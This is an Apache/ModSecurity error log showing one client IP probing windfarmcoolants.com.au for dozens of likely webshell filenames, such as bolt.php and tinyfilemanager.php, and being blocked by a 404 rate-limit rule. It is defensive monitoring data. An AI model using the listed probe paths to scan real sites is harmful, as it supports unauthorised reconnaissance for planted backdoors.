[Fri Apr 17 01:40:41.218298 2026] [:error] [pid 43385:tid 43401] [client 172.213.224.11:49607] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aeEfGcnIxkJaUI8KNs4m_AAAAAw"]
[Fri Apr 17 01:40:43.790098 2026] [:error] [pid 11854:tid 11869] [client 172.213.224.11:27647] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aeEfG9xJCSIaqP1XSdacHQAAAkw"]
[Fri Apr 17 01:40:44.705348 2026] [:error] [pid 26480:tid 26503] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/a2.php
[Fri Apr 17 01:40:44.975949 2026] [:error] [pid 26480:tid 26491] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri Apr 17 01:40:45.422607 2026] [:error] [pid 26480:tid 26490] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Apr 17 01:40:45.914556 2026] [:error] [pid 26480:tid 26500] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Fri Apr 17 01:40:46.271551 2026] [:error] [pid 26480:tid 26505] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Fri Apr 17 01:40:46.603610 2026] [:error] [pid 26480:tid 26482] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/ol.php
[Fri Apr 17 01:40:46.846063 2026] [:error] [pid 26480:tid 26487] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Fri Apr 17 01:40:47.288787 2026] [:error] [pid 26480:tid 26492] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Apr 17 01:40:47.540132 2026] [:error] [pid 26480:tid 26495] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Fri Apr 17 01:40:47.884462 2026] [:error] [pid 26480:tid 26504] [client 172.213.224.11:49646] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Fri Apr 17 01:40:48.123725 2026] [:error] [pid 26480:tid 26491] [client 172.213.224.11:49646] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfIAwLDJKTQNfarA1-YAAAAck"]
[Fri Apr 17 01:40:49.639814 2026] [:error] [pid 11692:tid 11719] [client 172.213.224.11:49914] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfIc1AYuhm4BZwKNodBAAAAhY"]
[Fri Apr 17 01:40:50.421749 2026] [:error] [pid 26480:tid 26483] [client 172.213.224.11:27861] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfIgwLDJKTQNfarA1-ZAAAAcE"]
[Fri Apr 17 01:40:51.126064 2026] [:error] [pid 43386:tid 43421] [client 172.213.224.11:27116] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfI-91GAVgUfhPVDHMxAAAAEE"]
[Fri Apr 17 01:40:52.169489 2026] [:error] [pid 43385:tid 43413] [client 172.213.224.11:27119] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeEfJMnIxkJaUI8KNs4nHQAAABc"]
[Fri Apr 17 01:40:53.458250 2026] [:error] [pid 43386:tid 43422] [client 172.213.224.11:49658] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeEfJe91GAVgUfhPVDHMygAAAEI"]
[Fri Apr 17 01:40:54.559898 2026] [:error] [pid 43482:tid 43497] [client 172.213.224.11:27633] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeEfJj9SZnuKxlHrct2kkAAAAM0"]
[Fri Apr 17 01:40:56.806299 2026] [:error] [pid 43386:tid 43436] [client 172.213.224.11:49632] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeEfKO91GAVgUfhPVDHM3gAAAFA"]
[Fri Apr 17 01:40:57.892584 2026] [:error] [pid 26480:tid 26497] [client 172.213.224.11:27072] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "aeEfKQwLDJKTQNfarA1-cAAAAc8"]
[Fri Apr 17 01:40:59.476280 2026] [:error] [pid 43385:tid 43390] [client 172.213.224.11:17740] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "aeEfK8nIxkJaUI8KNs4nIQAAAAE"]
[Fri Apr 17 01:41:02.747094 2026] [:error] [pid 26480:tid 26495] [client 172.213.224.11:49650] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "aeEfLgwLDJKTQNfarA1-egAAAc0"]
[Fri Apr 17 01:41:04.901360 2026] [:error] [pid 11854:tid 11878] [client 172.213.224.11:49893] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "aeEfMNxJCSIaqP1XSdacNgAAAlU"]
[Fri Apr 17 01:41:06.144196 2026] [:error] [pid 4086:tid 4103] [client 172.213.224.11:27643] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aeEfMllz7gxl_exM0FpKcwAAAU8"]
[Fri Apr 17 01:41:07.086566 2026] [:error] [pid 43386:tid 43443] [client 172.213.224.11:49872] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aeEfM-91GAVgUfhPVDHM9AAAAFY"]
[Fri Apr 17 01:41:08.055074 2026] [:error] [pid 26480:tid 26505] [client 172.213.224.11:27599] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aeEfNAwLDJKTQNfarA1-kAAAAdc"]
[Fri Apr 17 01:41:08.813670 2026] [:error] [pid 43482:tid 43492] [client 172.213.224.11:49878] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aeEfND9SZnuKxlHrct2kqAAAAMg"]
[Fri Apr 17 01:41:09.452798 2026] [:error] [pid 4086:tid 4103] [client 172.213.224.11:28102] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "aeEfNVlz7gxl_exM0FpKdgAAAU8"]
[Fri Apr 17 01:41:10.192617 2026] [:error] [pid 43387:tid 43477] [client 172.213.224.11:28110] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "aeEfNiBNsONqHxWTakU_XAAAAJg"]
[Fri Apr 17 01:41:11.172427 2026] [:error] [pid 4086:tid 4108] [client 172.213.224.11:49858] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "aeEfN1lz7gxl_exM0FpKjQAAAVQ"]
[Fri Apr 17 01:41:11.841214 2026] [:error] [pid 3245:tid 3281] [client 172.213.224.11:49643] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "aeEfN6ESOMTHVLs-uFDYygAAARM"]
[Fri Apr 17 01:41:12.551161 2026] [:error] [pid 26480:tid 26494] [client 172.213.224.11:49663] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "aeEfOAwLDJKTQNfarA1-lgAAAcw"]
[Fri Apr 17 01:41:13.095612 2026] [:error] [pid 43385:tid 43408] [client 172.213.224.11:27865] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "aeEfOcnIxkJaUI8KNs4nMQAAABM"]
[Fri Apr 17 01:41:14.298841 2026] [:error] [pid 26480:tid 26499] [client 172.213.224.11:27888] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "aeEfOgwLDJKTQNfarA1-ngAAAdE"]
[Fri Apr 17 01:41:14.854601 2026] [:error] [pid 26480:tid 26495] [client 172.213.224.11:19515] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "aeEfOgwLDJKTQNfarA1-owAAAc0"]
[Fri Apr 17 01:41:15.834273 2026] [:error] [pid 11854:tid 11861] [client 172.213.224.11:14680] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aeEfO9xJCSIaqP1XSdacTwAAAkQ"]
[Fri Apr 17 01:41:16.454623 2026] [:error] [pid 43482:tid 43497] [client 172.213.224.11:49651] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aeEfPD9SZnuKxlHrct2k1gAAAM0"]
[Fri Apr 17 01:41:17.030105 2026] [:error] [pid 26480:tid 26498] [client 172.213.224.11:17753] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aeEfPQwLDJKTQNfarA1-pwAAAdA"]
[Fri Apr 17 01:41:18.023879 2026] [:error] [pid 43482:tid 43504] [client 172.213.224.11:27075] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aeEfPj9SZnuKxlHrct2k3AAAANQ"]
[Fri Apr 17 01:41:18.674639 2026] [:error] [pid 43482:tid 43488] [client 172.213.224.11:27894] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeEfPj9SZnuKxlHrct2k5AAAAMQ"]
[Fri Apr 17 01:41:19.557682 2026] [:error] [pid 26480:tid 26490] [client 172.213.224.11:19496] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeEfPwwLDJKTQNfarA1-qQAAAcg"]
[Fri Apr 17 01:41:20.568290 2026] [:error] [pid 43386:tid 43442] [client 172.213.224.11:27073] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeEfQO91GAVgUfhPVDHNFAAAAFU"]
[Fri Apr 17 01:41:21.303353 2026] [:error] [pid 43386:tid 43444] [client 172.213.224.11:49874] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeEfQe91GAVgUfhPVDHNFwAAAFc"]
[Fri Apr 17 01:41:22.060936 2026] [:error] [pid 43386:tid 43429] [client 172.213.224.11:49909] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeEfQu91GAVgUfhPVDHNGwAAAEk"]
[Fri Apr 17 01:41:23.354736 2026] [:error] [pid 43482:tid 43487] [client 172.213.224.11:27113] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeEfQz9SZnuKxlHrct2lCwAAAMM"]
[Fri Apr 17 01:41:25.541437 2026] [:error] [pid 43387:tid 43450] [client 172.213.224.11:27585] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeEfRSBNsONqHxWTakU_ZQAAAII"]
[Fri Apr 17 01:41:28.694609 2026] [:error] [pid 43482:tid 43484] [client 172.213.224.11:28105] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeEfSD9SZnuKxlHrct2lFAAAAMA"]
[Fri Apr 17 01:41:31.172902 2026] [:error] [pid 4086:tid 4100] [client 172.213.224.11:27135] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeEfS1lz7gxl_exM0FpKlAAAAUw"]
[Fri Apr 17 01:41:32.831187 2026] [:error] [pid 43482:tid 43498] [client 172.213.224.11:27585] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeEfTD9SZnuKxlHrct2lIQAAAM4"]
[Fri Apr 17 01:41:33.894229 2026] [:error] [pid 11854:tid 11880] [client 172.213.224.11:17745] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeEfTdxJCSIaqP1XSdacYAAAAlc"]
[Fri Apr 17 01:41:34.925375 2026] [:error] [pid 26480:tid 26495] [client 172.213.224.11:27877] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeEfTgwLDJKTQNfarA1-ygAAAc0"]
[Fri Apr 17 01:41:35.817410 2026] [:error] [pid 11692:tid 11713] [client 172.213.224.11:49864] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeEfT81AYuhm4BZwKNodJwAAAhA"]
[Fri Apr 17 01:41:36.652857 2026] [:error] [pid 43387:tid 43466] [client 172.213.224.11:27874] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeEfUCBNsONqHxWTakU_aAAAAI0"]
[Fri Apr 17 01:41:37.506921 2026] [:error] [pid 43386:tid 43425] [client 172.213.224.11:49614] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeEfUe91GAVgUfhPVDHNLwAAAEU"]
[Fri Apr 17 01:41:40.085014 2026] [:error] [pid 43385:tid 43398] [client 172.213.224.11:17771] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeEfVMnIxkJaUI8KNs4nTAAAAAk"]
[Fri Apr 17 01:41:40.877587 2026] [:error] [pid 11854:tid 11867] [client 172.213.224.11:14669] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeEfVNxJCSIaqP1XSdacZwAAAko"]
[Fri Apr 17 01:41:42.453433 2026] [:error] [pid 26480:tid 26494] [client 172.213.224.11:27077] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeEfVgwLDJKTQNfarA1-zgAAAcw"]
[Fri Apr 17 01:41:43.309407 2026] [:error] [pid 4086:tid 4101] [client 172.213.224.11:14676] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeEfV1lz7gxl_exM0FpKmgAAAU0"]
[Fri Apr 17 01:41:44.009544 2026] [:error] [pid 4086:tid 4094] [client 172.213.224.11:28141] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeEfWFlz7gxl_exM0FpKmwAAAUY"]
[Fri Apr 17 01:41:45.675045 2026] [:error] [pid 43386:tid 43421] [client 172.213.224.11:28146] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeEfWe91GAVgUfhPVDHNOQAAAEE"]
[Fri Apr 17 01:41:46.834271 2026] [:error] [pid 4086:tid 4097] [client 172.213.224.11:17729] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeEfWllz7gxl_exM0FpKnAAAAUk"]
[Fri Apr 17 01:41:47.573761 2026] [:error] [pid 43482:tid 43487] [client 172.213.224.11:28145] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
